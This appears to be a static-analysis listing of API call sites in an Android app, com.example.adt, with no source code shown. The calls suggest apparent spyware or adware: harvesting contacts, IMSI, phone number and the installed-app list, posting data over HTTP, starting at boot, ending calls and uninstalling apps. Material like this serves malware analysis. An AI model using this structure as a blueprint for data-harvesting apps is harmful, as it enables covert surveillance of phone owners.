| API: android.os.IBinder->transact at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:21 | Show source |
|---|
| API: android.os.Parcel->readException at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:23 | Show source |
|---|
| API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:25 | Show source |
|---|
| API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:27 | Show source |
|---|
| API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:31 | Show source |
|---|
| API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:33 | Show source |
|---|
| API: java.lang.Object-><init> at ..:3 | Show source |
|---|
| API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:9 | Show source |
|---|
| API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:12 | Show source |
|---|
| API: android.os.Parcel->writeInterfaceToken at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:17 | Show source |
|---|
| API: android.os.IBinder->transact at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:23 | Show source |
|---|
| API: android.os.Parcel->readException at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:25 | Show source |
|---|
| API: android.os.Parcel->readInt at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:27 | Show source |
|---|
| API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:31 | Show source |
|---|
| API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:33 | Show source |
|---|
| API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:39 | Show source |
|---|
| API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:41 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.App.changeApk:8 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.changeApk:10 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.App.changeApk:13 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.App.changeApk:16 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.App.changeApk:20 | Show source |
|---|
| API: java.net.URLDecoder->decode at com.example.adt.App.changeApk:24 | Show source |
|---|
| API: java.lang.String->split at com.example.adt.App.changeApk:29 | Show source |
|---|
| API: android.app.AlertDialog$Builder-><init> at com.example.adt.App.changeApk:35 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setTitle at com.example.adt.App.changeApk:39 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setPositiveButton at com.example.adt.App.changeApk:46 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setNegativeButton at com.example.adt.App.changeApk:53 | Show source |
|---|
| API: android.app.AlertDialog$Builder->create at com.example.adt.App.changeApk:55 | Show source |
|---|
| API: android.app.AlertDialog->getWindow at com.example.adt.App.changeApk:58 | Show source |
|---|
| API: android.view.Window->setType at com.example.adt.App.changeApk:62 | Show source |
|---|
| API: android.app.AlertDialog->show at com.example.adt.App.changeApk:64 | Show source |
|---|
| API: com.example.adt.CoreService->getPackageManager at com.example.adt.App.autoChangeApps:8 | Show source |
|---|
| API: android.content.pm.PackageManager->getInstalledPackages at com.example.adt.App.autoChangeApps:12 | Show source |
|---|
| API: java.util.List->iterator at com.example.adt.App.autoChangeApps:15 | Show source |
|---|
| API: java.util.Iterator->hasNext at com.example.adt.App.autoChangeApps:18 | Show source |
|---|
| API: java.util.Iterator->next at com.example.adt.App.autoChangeApps:24 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.App.autoChangeApps:39 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.App.autoChangeApps:42 | Show source |
|---|
| API: android.content.pm.ApplicationInfo->loadLabel at com.example.adt.App.autoChangeApps:46 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:49 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:54 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:61 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:66 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.App.autoChangeApps:69 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.App.autoChangeApps:87 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.App.autoChangeApps:101 | Show source |
|---|
| API: android.os.Bundle-><init> at com.example.adt.App.autoChangeApps:104 | Show source |
|---|
| API: android.os.Bundle->putString at com.example.adt.App.autoChangeApps:108 | Show source |
|---|
| API: android.content.Intent->putExtras at com.example.adt.App.autoChangeApps:110 | Show source |
|---|
| API: android.content.Intent->setAction at com.example.adt.App.autoChangeApps:114 | Show source |
|---|
| API: com.example.adt.CoreService->sendBroadcast at com.example.adt.App.autoChangeApps:118 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.App.alertBroadCast:4 | Show source |
|---|
| API: android.content.Intent->setAction at com.example.adt.App.alertBroadCast:8 | Show source |
|---|
| API: android.content.Intent->putExtra at com.example.adt.App.alertBroadCast:13 | Show source |
|---|
| API: android.content.Intent->putExtra at com.example.adt.App.alertBroadCast:17 | Show source |
|---|
| API: android.content.Context->sendBroadcast at com.example.adt.App.alertBroadCast:21 | Show source |
|---|
| API: java.lang.Thread-><init> at ..:6 | Show source |
|---|
| API: java.lang.Thread->start at ..:8 | Show source |
|---|
| API: android.content.Context->getPackageManager at com.example.adt.App.getApps:6 | Show source |
|---|
| API: android.content.pm.PackageManager->getInstalledPackages at com.example.adt.App.getApps:10 | Show source |
|---|
| API: java.util.List->iterator at com.example.adt.App.getApps:13 | Show source |
|---|
| API: java.util.Iterator->hasNext at com.example.adt.App.getApps:16 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.App.getApps:24 | Show source |
|---|
| API: java.net.URLEncoder->encode at com.example.adt.App.getApps:30 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.App.getApps:38 | Show source |
|---|
| API: java.net.URLEncoder->encode at com.example.adt.App.getApps:44 | Show source |
|---|
| API: java.util.Iterator->next at com.example.adt.App.getApps:49 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.App.getApps:64 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.App.getApps:67 | Show source |
|---|
| API: android.content.pm.ApplicationInfo->loadLabel at com.example.adt.App.getApps:71 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.getApps:74 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.getApps:79 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.getApps:86 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.getApps:91 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.App.getApps:94 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.App.getApps:112 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.App.getApps:119 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.App.getApps:122 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.getApps:126 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.getApps:132 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.App.getApps:135 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.App.getApps:143 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.App.getApps:150 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.App.getApps:153 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.getApps:157 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.getApps:163 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.App.getApps:166 | Show source |
|---|
| API: com.example.adt.CoreService->getPackageManager at com.example.adt.App.hasApp:8 | Show source |
|---|
| API: android.content.pm.PackageManager->getInstalledPackages at com.example.adt.App.hasApp:12 | Show source |
|---|
| API: java.util.List->iterator at com.example.adt.App.hasApp:15 | Show source |
|---|
| API: java.util.Iterator->hasNext at com.example.adt.App.hasApp:18 | Show source |
|---|
| API: java.util.Iterator->next at com.example.adt.App.hasApp:23 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.App.hasApp:38 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.App.hasApp:41 | Show source |
|---|
| API: android.content.pm.ApplicationInfo->loadLabel at com.example.adt.App.hasApp:45 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:48 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:53 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:60 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:65 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.App.hasApp:68 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.App.hasApp:75 | Show source |
|---|
| API: java.lang.Object-><init> at ..:3 | Show source |
|---|
| API: java.util.ArrayList-><init> at ..:6 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.App$1.run:12 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.App$1.run:15 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App$1.run:19 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App$1.run:24 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.App$1.run:35 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App$1.run:38 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App$1.run:43 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.App$1.run:54 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App$1.run:57 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App$1.run:62 | Show source |
|---|
| API: com.example.adt.App->getApps at com.example.adt.App$1.run:67 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.App$1.run:70 | Show source |
|---|
| API: java.net.URLEncoder->encode at com.example.adt.App$1.run:73 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App$1.run:76 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.App$1.run:79 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.App$1.run:87 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.App$1.run:89 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.App$1.run:92 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.App$1.run:95 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: android.content.BroadcastReceiver-><init> at ..:2 | Show source |
|---|
| API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:4 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:9 | Show source |
|---|
| API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:13 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:18 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.BootBroadcastReceiver.onReceive:23 | Show source |
|---|
| API: android.content.Intent->setClass at com.example.adt.BootBroadcastReceiver.onReceive:26 | Show source |
|---|
| API: android.content.Context->startService at com.example.adt.BootBroadcastReceiver.onReceive:28 | Show source |
|---|
| API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:30 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:35 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.BootBroadcastReceiver.onReceive:42 | Show source |
|---|
| API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:44 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.BootBroadcastReceiver.onReceive:47 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.BootBroadcastReceiver.onReceive:50 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.BootBroadcastReceiver.onReceive:53 | Show source |
|---|
| API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:55 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:60 | Show source |
|---|
| API: android.content.Intent->getDataString at com.example.adt.BootBroadcastReceiver.onReceive:64 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.BootBroadcastReceiver.onReceive:70 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.BootBroadcastReceiver.onReceive:74 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.BootBroadcastReceiver.onReceive:77 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:80 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.BootBroadcastReceiver.onReceive:96 | Show source |
|---|
| API: android.content.Intent->getDataString at com.example.adt.BootBroadcastReceiver.onReceive:98 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.BootBroadcastReceiver.onReceive:101 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.BootBroadcastReceiver.onReceive:104 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.BootBroadcastReceiver.onReceive:107 | Show source |
|---|
| API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:109 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:114 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:122 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.BootBroadcastReceiver.onReceive:134 | Show source |
|---|
| API: java.lang.Exception->printStackTrace at com.example.adt.BootBroadcastReceiver.onReceive:138 | Show source |
|---|
| API: com.example.adt.CoreService->uninstallAPK at com.example.adt.BootBroadcastReceiver.onReceive:143 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.String->replace at com.example.adt.Common.str_replace:7 | Show source |
|---|
| API: java.lang.String->replace at com.example.adt.Common.str_replace:14 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: android.content.Context->getSharedPreferences at com.example.adt.Config.get:8 | Show source |
|---|
| API: android.content.SharedPreferences->getInt at com.example.adt.Config.get:11 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.Config.getIMSI:12 | Show source |
|---|
| API: java.io.File->exists at com.example.adt.Config.getFileSizes:9 | Show source |
|---|
| API: java.io.FileInputStream-><init> at com.example.adt.Config.getFileSizes:15 | Show source |
|---|
| API: java.io.FileInputStream->available at com.example.adt.Config.getFileSizes:17 | Show source |
|---|
| API: java.io.File->createNewFile at com.example.adt.Config.getFileSizes:22 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.Config.getFileSizes:28 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.Config.getPhoneNumber:12 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.Config.<clinit>:16 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.Config.<clinit>:19 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Config.<clinit>:23 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.Config.<clinit>:26 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.Config.<clinit>:33 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.Config.<clinit>:36 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Config.<clinit>:40 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.Config.<clinit>:43 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: android.os.Environment->getExternalStorageState at com.example.adt.Config.getSDPath:3 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.Config.getSDPath:8 | Show source |
|---|
| API: android.os.Environment->getExternalStorageDirectory at com.example.adt.Config.getSDPath:12 | Show source |
|---|
| API: java.io.File->toString at com.example.adt.Config.getSDPath:15 | Show source |
|---|
| API: android.content.Context->getSharedPreferences at com.example.adt.Config.set:8 | Show source |
|---|
| API: android.content.SharedPreferences->edit at com.example.adt.Config.set:11 | Show source |
|---|
| API: android.content.SharedPreferences$Editor->putInt at com.example.adt.Config.set:14 | Show source |
|---|
| API: android.content.SharedPreferences$Editor->commit at com.example.adt.Config.set:16 | Show source |
|---|
| API: android.content.Context->getSharedPreferences at com.example.adt.Config.set:8 | Show source |
|---|
| API: android.content.SharedPreferences->edit at com.example.adt.Config.set:11 | Show source |
|---|
| API: android.content.SharedPreferences$Editor->putString at com.example.adt.Config.set:14 | Show source |
|---|
| API: android.content.SharedPreferences$Editor->commit at com.example.adt.Config.set:16 | Show source |
|---|
| API: android.content.Context->getSystemService at com.example.adt.Config.isNetworkConnected:6 | Show source |
|---|
| API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.isNetworkConnected:10 | Show source |
|---|
| API: android.net.NetworkInfo->isAvailable at com.example.adt.Config.isNetworkConnected:14 | Show source |
|---|
| API: android.content.Context->getSystemService at com.example.adt.Config.getAPNType:11 | Show source |
|---|
| API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.getAPNType:15 | Show source |
|---|
| API: android.net.NetworkInfo->getType at com.example.adt.Config.getAPNType:21 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.Config.getAPNType:29 | Show source |
|---|
| API: android.net.NetworkInfo->getExtraInfo at com.example.adt.Config.getAPNType:31 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Config.getAPNType:34 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.Config.getAPNType:37 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.Config.getAPNType:40 | Show source |
|---|
| API: android.net.NetworkInfo->getExtraInfo at com.example.adt.Config.getAPNType:43 | Show source |
|---|
| API: java.lang.String->toLowerCase at com.example.adt.Config.getAPNType:46 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.Config.getAPNType:51 | Show source |
|---|
| API: android.content.Context->getSystemService at com.example.adt.Config.isServiceRunning:7 | Show source |
|---|
| API: android.app.ActivityManager->getRunningServices at com.example.adt.Config.isServiceRunning:12 | Show source |
|---|
| API: java.util.List->size at com.example.adt.Config.isServiceRunning:15 | Show source |
|---|
| API: java.util.List->size at com.example.adt.Config.isServiceRunning:22 | Show source |
|---|
| API: java.util.List->get at com.example.adt.Config.isServiceRunning:28 | Show source |
|---|
| API: android.content.ComponentName->getClassName at com.example.adt.Config.isServiceRunning:34 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.Config.isServiceRunning:37 | Show source |
|---|
| API: android.content.Context->getSharedPreferences at com.example.adt.Config.get:8 | Show source |
|---|
| API: android.os.Environment->getExternalStorageDirectory at com.example.adt.Config.configPath:2 | Show source |
|---|
| API: java.io.File->getAbsolutePath at com.example.adt.Config.configPath:6 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.Config.configPath:9 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.Config.configPath:12 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Config.configPath:16 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.Config.configPath:19 | Show source |
|---|
| API: java.net.HttpURLConnection->getInputStream at com.example.adt.Connect.getHttpConnection:18 | Show source |
|---|
| API: java.io.InputStreamReader-><init> at com.example.adt.Connect.getHttpConnection:21 | Show source |
|---|
| API: java.io.BufferedReader-><init> at com.example.adt.Connect.getHttpConnection:24 | Show source |
|---|
| API: java.io.BufferedReader->readLine at com.example.adt.Connect.getHttpConnection:27 | Show source |
|---|
| API: java.io.InputStreamReader->close at com.example.adt.Connect.getHttpConnection:31 | Show source |
|---|
| API: java.net.HttpURLConnection->disconnect at com.example.adt.Connect.getHttpConnection:33 | Show source |
|---|
| API: android.util.Log->e at com.example.adt.Connect.getHttpConnection:43 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.Connect.getHttpConnection:47 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.Connect.getHttpConnection:50 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Connect.getHttpConnection:52 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Connect.getHttpConnection:57 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.Connect.getHttpConnection:60 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.Connect.getHttpConnection:67 | Show source |
|---|
| API: android.util.Log->e at com.example.adt.Connect.getHttpConnection:73 | Show source |
|---|
| API: android.util.Log->e at com.example.adt.Connect.getHttpConnection:80 | Show source |
|---|
| API: java.lang.Object-><init> at com.example.adt.Connect.<init>:2 | Show source |
|---|
| API: org.apache.http.client.methods.HttpPost-><init> at com.example.adt.Connect.postHttpConnection:9 | Show source |
|---|
| API: java.util.ArrayList-><init> at com.example.adt.Connect.postHttpConnection:12 | Show source |
|---|
| API: org.apache.http.message.BasicNameValuePair-><init> at com.example.adt.Connect.postHttpConnection:17 | Show source |
|---|
| API: java.util.List->add at com.example.adt.Connect.postHttpConnection:19 | Show source |
|---|
| API: org.apache.http.message.BasicNameValuePair-><init> at com.example.adt.Connect.postHttpConnection:24 | Show source |
|---|
| API: java.util.List->add at com.example.adt.Connect.postHttpConnection:26 | Show source |
|---|
| API: org.apache.http.message.BasicNameValuePair-><init> at com.example.adt.Connect.postHttpConnection:31 | Show source |
|---|
| API: java.util.List->add at com.example.adt.Connect.postHttpConnection:33 | Show source |
|---|
| API: org.apache.http.client.entity.UrlEncodedFormEntity-><init> at com.example.adt.Connect.postHttpConnection:38 | Show source |
|---|
| API: org.apache.http.client.methods.HttpPost->setEntity at com.example.adt.Connect.postHttpConnection:40 | Show source |
|---|
| API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.example.adt.Connect.postHttpConnection:43 | Show source |
|---|
| API: org.apache.http.impl.client.DefaultHttpClient->execute at com.example.adt.Connect.postHttpConnection:45 | Show source |
|---|
| API: org.apache.http.HttpResponse->getStatusLine at com.example.adt.Connect.postHttpConnection:48 | Show source |
|---|
| API: org.apache.http.StatusLine->getStatusCode at com.example.adt.Connect.postHttpConnection:51 | Show source |
|---|
| API: org.apache.http.HttpResponse->getEntity at com.example.adt.Connect.postHttpConnection:56 | Show source |
|---|
| API: org.apache.http.util.EntityUtils->toString at com.example.adt.Connect.postHttpConnection:59 | Show source |
|---|
| API: org.apache.http.client.ClientProtocolException->printStackTrace at com.example.adt.Connect.postHttpConnection:67 | Show source |
|---|
| API: java.io.IOException->printStackTrace at com.example.adt.Connect.postHttpConnection:71 | Show source |
|---|
| API: java.lang.Exception->printStackTrace at com.example.adt.Connect.postHttpConnection:75 | Show source |
|---|
| API: com.example.adt.CoreService->getContentResolver at com.example.adt.Contact.getPhoneContacts:8 | Show source |
|---|
| API: android.database.Cursor->getCount at com.example.adt.Contact.getPhoneContacts:21 | Show source |
|---|
| API: android.database.Cursor->moveToNext at com.example.adt.Contact.getPhoneContacts:25 | Show source |
|---|
| API: android.database.Cursor->close at com.example.adt.Contact.getPhoneContacts:29 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.Contact.getPhoneContacts:35 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.Contact.getPhoneContacts:37 | Show source |
|---|
| API: android.database.Cursor->getString at com.example.adt.Contact.getPhoneContacts:41 | Show source |
|---|
| API: android.text.TextUtils->isEmpty at com.example.adt.Contact.getPhoneContacts:44 | Show source |
|---|
| API: android.database.Cursor->getString at com.example.adt.Contact.getPhoneContacts:49 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.Contact.getPhoneContacts:55 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.Contact.getPhoneContacts:58 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:62 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:65 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:70 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:73 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.Contact.getPhoneContacts:76 | Show source |
|---|
| API: java.lang.Object-><init> at ..:3 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.Contact$1.run:26 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.Contact$1.run:29 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:33 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:38 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:41 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:46 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.Contact$1.run:56 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:59 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:64 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:67 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.Contact$1.run:70 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.Contact$1.run:84 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:86 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.Contact$1.run:89 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.Contact$1.run:92 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: android.app.Service->onCreate at com.example.adt.CoreService.onCreate:7 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.CoreService.onCreate:14 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.CoreService.onCreate:16 | Show source |
|---|
| API: android.os.StrictMode$ThreadPolicy$Builder-><init> at com.example.adt.CoreService.onCreate:22 | Show source |
|---|
| API: android.os.StrictMode$ThreadPolicy$Builder->detectDiskReads at com.example.adt.CoreService.onCreate:24 | Show source |
|---|
| API: android.os.StrictMode$ThreadPolicy$Builder->detectDiskWrites at com.example.adt.CoreService.onCreate:27 | Show source |
|---|
| API: android.os.StrictMode$ThreadPolicy$Builder->detectNetwork at com.example.adt.CoreService.onCreate:30 | Show source |
|---|
| API: android.os.StrictMode$ThreadPolicy$Builder->penaltyLog at com.example.adt.CoreService.onCreate:33 | Show source |
|---|
| API: android.os.StrictMode$ThreadPolicy$Builder->build at com.example.adt.CoreService.onCreate:36 | Show source |
|---|
| API: android.os.StrictMode->setThreadPolicy at com.example.adt.CoreService.onCreate:39 | Show source |
|---|
| API: android.os.StrictMode$VmPolicy$Builder-><init> at com.example.adt.CoreService.onCreate:42 | Show source |
|---|
| API: android.os.StrictMode$VmPolicy$Builder->detectLeakedSqlLiteObjects at com.example.adt.CoreService.onCreate:44 | Show source |
|---|
| API: android.os.StrictMode$VmPolicy$Builder->detectLeakedClosableObjects at com.example.adt.CoreService.onCreate:47 | Show source |
|---|
| API: android.os.StrictMode$VmPolicy$Builder->penaltyLog at com.example.adt.CoreService.onCreate:50 | Show source |
|---|
| API: android.os.StrictMode$VmPolicy$Builder->penaltyDeath at com.example.adt.CoreService.onCreate:53 | Show source |
|---|
| API: android.os.StrictMode$VmPolicy$Builder->build at com.example.adt.CoreService.onCreate:56 | Show source |
|---|
| API: android.os.StrictMode->setVmPolicy at com.example.adt.CoreService.onCreate:59 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService.onCreate:65 | Show source |
|---|
| API: android.content.IntentFilter-><init> at com.example.adt.CoreService.onCreate:78 | Show source |
|---|
| API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:82 | Show source |
|---|
| API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:86 | Show source |
|---|
| API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:90 | Show source |
|---|
| API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:94 | Show source |
|---|
| API: com.example.adt.CoreService$MyBroadcastReciver-><init> at com.example.adt.CoreService.onCreate:97 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.CoreService.onCreate:120 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.CoreService.onCreate:122 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.CoreService.onCreate:128 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.CoreService.onCreate:130 | Show source |
|---|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.CoreService.showNofity:11 | Show source |
|---|
| API: java.lang.System->currentTimeMillis at com.example.adt.CoreService.showNofity:16 | Show source |
|---|
| API: android.app.Notification-><init> at com.example.adt.CoreService.showNofity:19 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.CoreService.showNofity:24 | Show source |
|---|
